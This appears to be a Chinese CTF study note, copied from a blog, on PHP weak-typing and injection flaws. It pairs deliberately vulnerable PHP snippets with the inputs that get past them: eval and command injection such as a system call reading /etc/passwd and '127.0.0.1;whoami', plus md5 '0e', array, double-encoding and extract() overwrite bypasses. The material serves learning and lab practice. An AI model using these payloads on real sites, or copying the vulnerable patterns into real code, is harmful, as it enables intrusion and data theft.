https://www.freebuf.com/sectool/168653.html
EXAMPLE1
<?php $str = “echo \”hello “. $GET_[‘name’].”!!!\”;”; .是连接 双引号注意就近。 Eval($str); \”双引号转义 因为echo 内容需要是字符串 ?> 注意单引号双引号区别 %22.system(%27ls%27);// 输入,替换了$GET_[‘name’] %22 : “ %27: ‘ <?php $str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”; Eval($str); ?> ‘.cat /etc/passwd’ %22.system(‘cat /etc/passwd’);// 失败 %22.system(%27cat /etc/passwd%27);// 成功
Example 1
<?php
System(‘ping –c $_GET[‘ip’]’ );
?>
127.0.0.1;whoami
<?php if (isset($_GET[‘value‘])) { if (strcmp($_GET[‘value‘], $flag) == 0) die(‘Flag is: ‘.$flag); else print ‘Flag is not here !‘; } ?>
Strcmp= s1-s2
参数是两个数组,输入数组则错误,判断相等
/i 不区分大小写
浏览器对用户输入数据自动解码(比如输入 %27)
<?php if(preg_match("/hackerDJ/i",$_GET[id])) { echo(" not allowed ! "); exit(); } $_GET[id] = urldecode($_GET[id]); //解码 if($_GET[id] == "hackerDJ") { die(‘Flag is: ‘.$flag); } ?>
对D ,为 %44,再次urlencode,得到 %2544
数组在比较中恒大与具体值
其他类型和整形比较会先 intval()
<?php $temp = $_GET[‘id‘]; is_numeric($temp) ? die("retry !") : NULL; if($temp>6607){ die(‘Flag is: ‘.$flag); } else print ‘Flag is not here !‘; ?> Flag is not here !
Extract(array,extract_rules,prefix)
<?php $flags=‘test.txt‘; extract($_GET); if(isset($id)) { $content=trim(file_get_contents($flags)); if($id==$content) { die(‘Flag is: ‘.$flag); } else { print ‘Flag is not here !‘; } } ?>
如果输入id=$content
使用extract接收输入,存在变量覆盖,覆盖flags
接收输入后,flags=1,此时
file_get_contents($flags)
取不到文件,故content为空
同时输入id是空。 &是连接符,重新复制flags
输出flag
小数取整echo intval(9.999); // 9。最大值取决于操作系统
<?php $key = $_GET[‘key‘]; if(intval($key) > 1||intval($key) < 0){ die("key is not right"); } elseif (intval($key) < 1) { if ($key ==1) { die(‘Flag is: ‘.$flag); }else print ‘key is not right !!!‘; } ?> key is not right !!!
Php中弱比较,1==0.999999999999999999999999
比如 echo 1==0.999999999999999999999999 输出1
Erge
Php版本小于5.3
遇到%00 默认字符串结束
Preg_match()
Php>=5.3
遇到%00 默认字符串结束
<?php if(isset($_GET[‘password‘])){ if(preg_match("/^[a-zA-Z0-9]+$/", $_GET[‘password‘]) === FALSE){ print(‘You password not right‘); } elseif(strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999){ if(strpos($_GET[‘password‘], ‘*_*‘) !== FALSE){ die(‘Flag is:‘.$flag); } else{ print(‘*_* have not been found‘); } } else{ print(‘Invalid password‘); } } ?>
1e8 >9999999 字符串长度小于8
把字符串当做PHP代码执行。只能执行不能回显。
<?php if (isset($_GET[‘id‘])) { $id = $_GET[‘id‘]; eval("var_dump($id);"); } ?>
闭合括号,注释掉后面
PHP中 md5对数组加密返回NULL
对所有0e开头(16进制)字符串认为相等
<?php if (isset($_GET[‘p1‘]) && isset($_GET[‘p2‘])) { if ($_GET[‘p1‘] != $_GET[‘p2‘] && md5($_GET[‘p1‘]) == md5($_GET[‘p2‘])) die(‘Flag is: ‘.$flag); else print ‘Flag is not here !‘; } ?>
输入数组用 ?p1[],多个用 &
== 只对值比较,两边先转化为同种类型,若一方为数字另一方为空或null或数组,现将字符串转化为0
=== 比较类型和值
<?php if (isset($_GET[‘p1‘]) && isset($_GET[‘p2‘])) { if ($_GET[‘p1‘] != $_GET[‘p2‘] && md5($_GET[‘p1‘]) === md5($_GET[‘p2‘])) die(‘Flag is: ‘.$flag); else print ‘Flag is not here !‘; } ?>
对数组加密返回NULL
<?php if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) { if ($_GET[‘name‘] == $_GET[‘password‘]) echo ‘ Your password can not be your name! ‘; else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘])) die(‘Flag: ‘.$flag); else echo ‘ Invalid password ‘; } else echo ‘Flag is not here !‘; ?> Flag is not here !
查找字符串在字符串第一次出现的位置。Strpos(string,find,start)。在string中查找find
<?php if (isset($_GET[‘id‘])) { $one = ord(‘0‘); $nine = ord(‘9‘); for($i = 0; $i < strlen($_GET[‘id‘]); $i++) { $digit = ord($_GET[‘id‘]{$i}); if(($digit < $one) || ($digit > $nine) ) { print("必须输入数字才行"); return FALSE; } } if (strpos($_GET[‘id‘], ‘sss607‘) !== FALSE) die(‘Flag: ‘.$flag); else echo ‘flag is not here ~‘; } ?>
先判断只有数字
Strpos对数组查找返回NULL,NULL!==flase
Session_start() 用来初始化session或从session仓库加载已经存在的session变量
<?php @session_start(); print($_SESSION["password"]); if ($_GET[‘password‘] == $_SESSION[‘password‘]) die (‘Flag: ‘.$flag); else print ‘password is not right !‘; $_SESSION[‘password‘]=rand(10000000,99999999); ?>
系统会判断用户输入的password的值是否与当前session中password值相同。初始时session为空,故输入password为空即可
若直接访问过http://10.201.132.248:8090/13.session/session.php 则session已经存在,不为空。清空缓存或者换浏览器即可
PHP 弱类型 && CODE/COMMADN injection
原文:https://www.cnblogs.com/lqerio/p/13610142.html